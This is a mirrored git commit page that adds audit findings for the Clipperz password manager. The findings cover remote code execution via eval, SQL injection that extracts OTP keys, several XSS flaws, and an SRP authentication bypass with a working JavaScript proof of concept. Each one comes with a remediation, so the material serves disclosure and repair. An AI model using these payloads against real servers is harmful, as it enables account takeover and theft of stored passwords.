1
0
mirror of http://git.whoc.org.uk/git/password-manager.git synced 2025-10-23 16:57:36 +02:00

Merged Import and Export branches, implemented Giulio's remarks on Import feature

This commit is contained in:
Dario Chiappetta
2015-05-21 14:32:51 +02:00
parent d1d5fae5de
commit 0126873868
43 changed files with 4494 additions and 1008 deletions

View File

@@ -0,0 +1,63 @@
CLP-01-001 DOMXSS in Clipperz Bookmarklet via benign HTML Injection (Medium)
Insecure concatenation of HTML strings in the Clipperz bookmarklet core
lead to possibilities for an attacker, to turn a harmless injection on a
victim website into an XSS as soon as a user activates the bookmarklet.
The bookmarklet contains injectable code that allows arbitrary
JavaScript execution from a harmless injection as shown below:
PoC:
(run Clipperz Bookmarklet on this website)
<body>
<form action=''>
<input name='username' type='text'>
<input name='</textarea><img src=x onerror=alert(domain)>' type='password'>
</form>
Affected HTML:
<textarea style="border:2px solid #333366; font-family:sans-serif;
font-size:8pt; color:#336; width:240px; height:135px; padding:4px;
background-color:white; margin:0px 10px;"
id="bookmarklet_textarea">{"page": {"title": ""},
"form": {"attributes": {"action": "http://0x0/Test/",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": "root"},
{"type": "password",
"name": "</textarea><img onerror="alert(domain)" src="x">",
"value": "k4n0n3!?"}]},
"version": "0.2.3"}</div>
Affected Code:
innerHTML+="<textarea id=\"bookmarklet_textarea\" style=\"border:2px
solid #333366; font-family:sans-serif; font-size:8pt; color:#336;
width:240px; height:135px; padding:4px; background-color:white;
margin:0px 10px;\">"+sj(someParameters)+"</textarea>";}
...
sj=function(o){var
objtype=typeof(o);if(objtype=="number"||objtype=="boolean"){return
o+"";}else if(o===null){return"null";} if(objtype=="string"){return
rs(o);} var
me=arguments.callee;if(objtype!="function"&&typeof(o.length)=="number"){var
res=[];for(var i=0;i<o.length;i++){var
val=me(o[i]);if(typeof(val)!="string"){val="undefined";} res.push(val);}
return"["+res.join(",\n")+"]";}
...
rs=function(o){return("\""+o.replace(/([\"\\])/g,"\\$1")+"\"").replace(/[\f]/g,"\\f").replace(/[\b]/g,"\\b").replace(/[\n]/g,"\\n").replace(/[\t]/g,"\\t").replace(/[\r]/g,"\\r");}
Any form of HTML, even content of HTML element attributes must be
considered an attack vector. Currently, Clipperz does a good job in
terms of encoding HTML element value attributes, yet other attribute
types are not escaped, encoded or filtered at all. This lead to the
identification of this and other bugs, specifically CLP-01-014 and
CLP-01-015.
It needs to be made sure, that any form of user controlled data is being
processed safely before displaying the resulting data. HTML special
characters need to be encoded to their respected entity representation
before displaying them.

View File

@@ -0,0 +1,52 @@
CLP-01-002 Remote Code Execution in PHP Backend (Critical)
The PHP backend is vulnerable to Remote Code Execution attacks. In the
file setup/rpc.php, the name of a class can be specified in the
parameter objectname of which an object is later instantiated within an
eval() statement.
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
[...]
eval ('$instance = new '.$objectName.'();');
[...]
switch($action)
{
case 'Add':
eval ('$instance = new '.$objectName.'();');
[...]
case 'Delete':
eval ('$instance = new '.$objectName.'();');
[...]
case 'Update':
eval ('$instance = new '.$objectName.'();');
function RefreshTree($objectName, $root, $offset = '', $limit = '')
{
[...]
eval ('$instance = new '.$objectName.'();');
An attacker can add arbitrary PHP code to the objectname parameter that
is then executed on the web server. This allows to fully compromise the
web server and its data.
/setup/rpc.php?objectname=stdClass();system(?whoami?);phpinfo
Note that the setup routine can be protected by a password (empty by
default) but the affected file setup/rpc.php does not include the file
setup_library/authentication.php that performs the actual authentication
check. Thus, the attack can be executed by any user as long as the setup
directory exists.
PHP allows to dynamically call methods and constructors without using
the eval() operator by using reflection. Here, no execution of arbitrary
PHP code is possible.
$instance = new $objectName();
However, arbitrary constructors can be accessed that can lead to
unwanted behavior. Thus, the objectName parameter should be validated
against a whitelist which is already available in the $objects array
filled in line 28. Other names should be rejected by the application.
if(!in_array($objectName, $objects))
exit;

View File

@@ -0,0 +1,75 @@
CLP-01-003 SQL Injection in PHP Backend (High)
The PHP backend is vulnerable to SQL injection attacks. The method
GetList() of the object class user, record, recordversion,
onetimepasswordstatus, and onetimepassword does not sanitize its
parameters sufficiently before adding these to a dynamically constructed
SQL query. Affected are the $sortBy and $limit parameter.
function GetList($fcv_array = array(), $sortBy='', $ascending=true,
$limit='') {
$sqlLimit = ($limit != '' ? "LIMIT $limit" : '');
$this->pog_query = "select * from `onetimepassword` ";
[...]
$this->pog_query .= " order by ".$sortBy." ".($ascending ? "asc" :
"desc")." $sqlLimit";
$cursor = Database::Reader($this->pog_query, $connection);
[...]
}
A vulnerable call of this method can be found in the function
RefreshTree() of the file setup/rpc.php. Its first parameter is passed
to the $sortBy parameter and the two last parameters are passed
concatenated to the $limit parameter of the vulnerable GetList() method.
function RefreshTree($objectName, $root, $offset = '', $limit = '') {
$sqlLimit = "$offset, $limit";
$instanceList = $instance->GetList(
array(array(strtolower($objectName)."Id",">",0)),
strtolower($objectName)."Id",
false,
$sqlLimit
);
}
The function RefreshTree() is called with unsanitized parameters when
the GET parameter action is set to Refresh.
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
$limit = isset($_REQUEST['limit']) ? $_REQUEST['limit'] : '';
$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : '';
$action = $_GET['action'];
switch($action) {
case 'Refresh':
RefreshTree($objectName, $root, $offset, $limit);
}
An attacker is able to extract arbitrary data from the database,
including user data and OTP keys.
/setup/rpc.php?action=Refresh&objectname=user&offset=1&limit=1 union
select onetimepasswordid,userid,reference,key,key_checksum,data,7,8,9
from clipperz.onetimepassword
The construction of the WHERE clause from the parameter $fcv_array in
the GetList() method is also potentially affected by SQL injection.
Here, expected numeric values are added to the SQL query without
escaping or type-casting.
if(isset($this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'])
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
'NUMERIC'
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
'SET') {
}
else {
value = POG_Base::IsColumn($fcv_array[$i][2]) ? $fcv_array[$i][2] :
"'".$fcv_array[$i][2]."'";
$this->pog_query .= "`".$fcv_array[$i][0]."` ".$fcv_array[$i][1]." ".$value;
}
Expected numeric values should be converted to integer before embedding
them into the SQL query. Otherwise, an attacker is able to break out of
the single quotes and inject her own SQL syntax. For more security it is
highly recommended to use prepared statements, as done in the Python and
Java backend.

View File

@@ -0,0 +1,69 @@
CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical)
Caused by missing output filtering, an attacker can abuse the
Bookmarklet in combination with the creation of a new card of type
?Direct Login? to persistently infect a Clipperz account and get full
and transparent access to all data stored in the account including
passwords, keystrokes and other sensitive data.
Steps to Reproduce:
Navigate to a maliciously prepared Website
Use the Clipperz Bookmarklet
Copy the generated JSON to create a Card
Navigate to the Clipperz application
Create a new card of type ?Direct Login?
Paste the content and save (First XSS is triggerd)
Create the card (Second XSS is triggered)
Anytime the affected user navigates to the malicious card, the injected
JavaScript is executed. This thereby effectively ?trojanizes? the entire
Clipperz account and gives an attacker access to any of the stored cards
and related passwords in plaintext.
Example Markup for malicious page:
<body>
<form action=''>
<input name='username' type='text'>
<input name='password' type='password'>
<input name='"><img src=x onerror=alert(domain)>' value='bla'>
</form>
Resulting JSON:
{"page": {"title": ""},
"form": {"attributes": {"action": "http://attacked/",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": "root"},
{"type": "password",
"name": "password",
"value": ""},
{"type": "text",
"name": "\"><img src=x onerror=alert(domain)>",
"value": "bla"}]},
"version": "0.2.3"}
Affected Markup in Clipperz application:
<tr id="elgen-1630"><td
class="directLoginBindingLabelTD"><span>"&gt;&lt;img src=x
onerror=alert(domain)&gt;</span></td><td
class="directLoginBindingValueTD"><div style="display: none;"
id="Clipperz_PM_Components_Panels_editModeBox_3947"><select
id="Clipperz_PM_Components_Panels_select_3948"><option
value="null">---</option><option
value="014ab7a3d138834f883b0742857cd906fd1902e5c42303348fa181eb568695c1">username</option><option
value="8e63b43adc66c2efb1ad9b61aa0e7184f12545eeb163ce076cbae05d5d6e0a45">password</option><option
value="01a2b7d792deb70d98ad5f1bb0b3afd89de20554ba606be2662531c20dd6fd48"
selected="true">"&gt;&lt;img src=x
onerror=alert(domain)&gt;</option></select></div><div style="display:
block;" id="Clipperz_PM_Components_Panels_viewModeBox_3949"><span
id="Clipperz_PM_Components_Panels_viewValue_3950">"&gt;<img src="x"
onerror="alert(domain)"></span></div></td></tr>
It is highly recommended to escape and filter any output and consider
the pages to pull login data from to be an adversary as well. Especially
the content of the name field and other attributes of form elements
should not be considered trusted as they can contain malicious data -
similar to the form element?s value. All special HTML characters need to
be converted into their corresponding HTML entities before displaying
them to the user.

View File

@@ -0,0 +1,62 @@
CLP-01-015 Persistent XSS on Index Page via Direct Login Favicon (Critical)
Similar to the issue described in CLP-01-014, a persistent XSS can be
triggered using the Direct Login feature. Clipperz attempts to load the
favicon of the linked website and display its URL inside the src
attribute of an IMG element. An attacker can cause the bookmarklet to
deliver a maliciously prepared URL that, in conjunction with the favicon
display, leads to an XSS attack.
Note that this attack is capable of executing arbitrary attacker
controlled JavaScript right after the victim logged in, because the
vulnerable element is being shown on the index page. It is further
possible to create a malicious page that will fill the bookmarklet?s
textarea with arbitrary content. The victim would have no way to detect
that something was injected and will willingly copy & paste it into the
clippers application?s card creator form.
Steps to reproduce:
Copy malicious JSON into card editor for ?Direct Login?
Create the card
Logout
Log in again
Attacker?s JavaScript executes
Example JSON to inject the payload:
{"page": {"title": ""},
"form": {"attributes": {"action": "javascript://\"onload=alert(1)//",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": ""},
{"type": "password",
"name": "password",
"value": ""}]},
"version": "0.2.3"}
Affected Markup in Clipperz application:
<img
id="6a103aa5ab36f0c34cebde816f468bfd9550ca5bbbce67470a0ec58ec7ea1a4b_faviconIMG"
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
onload="alert(1)///favicon.ico&quot;"></td><td valign="top"><a
class="directLoginItemTitle">adadadsadsa</a></td><td align="right"
valign="top"><a
class="directLoginItemEditButton">show</a></td></tr></tbody></table></li><li
class=" "
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4"><table
border="0" cellpadding="0" cellspacing="0"><tbody><tr><td align="center"
valign="top" width="20"><img
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4_faviconIMG"
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
onload="alert(1)///favicon.ico&quot;"></td><td valign="top"><a
class="directLoginItemTitle">unnamed record</a></td><td align="right"
valign="top"><a class="directLoginItemEditButton">show</a>
It must be ensured that any form of user controlled data is being
filtered and encoded properly. It has shown, that the JSON processing
for direct logins is a particularly vulnerable element of the Clipperz
application and deserves special attention. We believe, that the
bookmarklet is easily exposed to injection attacks and that the content
of the textarea for direct login data is a dangerous and easy to exploit
attack vector and needs to be treated as such by the Clipperz
application upon processing its data.

View File

@@ -0,0 +1,20 @@
CLP-01-016 SRP implementation vulnerable to known attacks (High)
The Clipperz application implements the Secure Remote Password protocol
for authentication. The implementation adheres to the original protocol
specification from 1998 and is not standardized. The third revision
(SRP-3) is described in RFC2459, and has since revised several times to
prevent against attacks. Two attacks, ?two-for-one? guessing attack and
message ordering attack, are detailed in the paper ?SRP-6 Improvements
and Refinements of the Secure Remote Password Protocol?. The latest
revision of the protocol SRP-6 is being standardized in IEEE P1363 and
ISO/IEC 11770-4.
Specifically, the implementation is missing the k value introduced in
SRP-6 to prevent the ?two-for-one? attack. The k value is used on the
server side to compute B=kv+gb and on the client side to compute
S=(B-kgx)(a+ux). Also, the exchange of messages follows the SRP-3
optimized ordering, not the standard or optimized message ordering of
SRP-6, which was introduced to prevent a message ordering attack. Note
also that the computation of M1=H(A | B | K) does not adhere to
M1=H(H(N) XOR H(g) | H(I) | s | A | B | K) as specified by the standard.

View File

@@ -0,0 +1,88 @@
CLP-01-017 SRP Authentication Bypass (Critical)
The Clipperz application implements the Secure Remote Password protocol
for authentication. The specification explicitly states that the
parameter A provided by the client must not be zero. The Clipperz
implementation omits this check, which makes password verification
trivial to bypass.
According to the SRP-6 specification, the shared secret is on the server
side calculated as (Avu)b where A is supplied by the client. If A is
zero the result is also zero, and the resulting shared key is H(0). The
corresponding proof can easily be calculated by the attacker as H(0 | B
| H(0)). The following JavaScript function can be run in the console
when on the Clipperz login page. While the page itself is not updated,
the resulting JSON response clearly indicates a successful login.
SRP authentication bypass PoC:
(function PoC(){
function send(m,p){
x=new XMLHttpRequest();
x.open('post','/json',false);
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
x.send('method='+m+'&parameters='+urlEncode(JSON.stringify(p)));
return JSON.parse(x.responseText);
}
r=send('knock',{"requestType":"CONNECT"});
r=send('handshake',{"parameters":
{"message":"connect",
"version":"0.2",
"parameters":
{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
"A":"0"}},
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
S=new Clipperz.ByteArray("0")
K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
M1=new Clipperz.ByteArray("0"+B+K)
M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
return send('handshake',{"parameters":
{"message":"credentialCheck",
"version":"0.2",
"parameters":{"M1":M1}},
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
})()
Example JSON response:
{"result":
{"subscription":
{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
"features":["OFFLINE_COPY","LIST_CARDS"],
"toDate":"Mon, 01 January 4001 00:00:00 UTC",
"type":"EARLY_ADOPTER"},
"loginInfo":
{"current":
{"operatingSystem":"LINUX",
"disconnectionType":"STILL_CONNECTED",
"browser":"FIREFOX",
"connectionType":"LOGIN",
"date":"Tue, 06 May 2014 03:09:28 UTC",
"country":"SE",
"ip":"83.248.183.26"},
"latest":
{"operatingSystem":"LINUX",
"disconnectionType":"SESSION_EXPIRED",
"browser":"FIREFOX",
"connectionType":"LOGIN",
"date":"Tue, 06 May 2014 02:16:36 UTC",
"country":"SE",
"ip":"83.248.183.26"}},
"connectionId":
"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
"offlineCopyNeeded":true,
"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
"toll":
{"targetValue":
"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
"requestType":"MESSAGE",
"cost":2}
}
To mitigate the issue sufficiently, the server needs to verify that A
cannot be 0 so the attack cannot be carried out.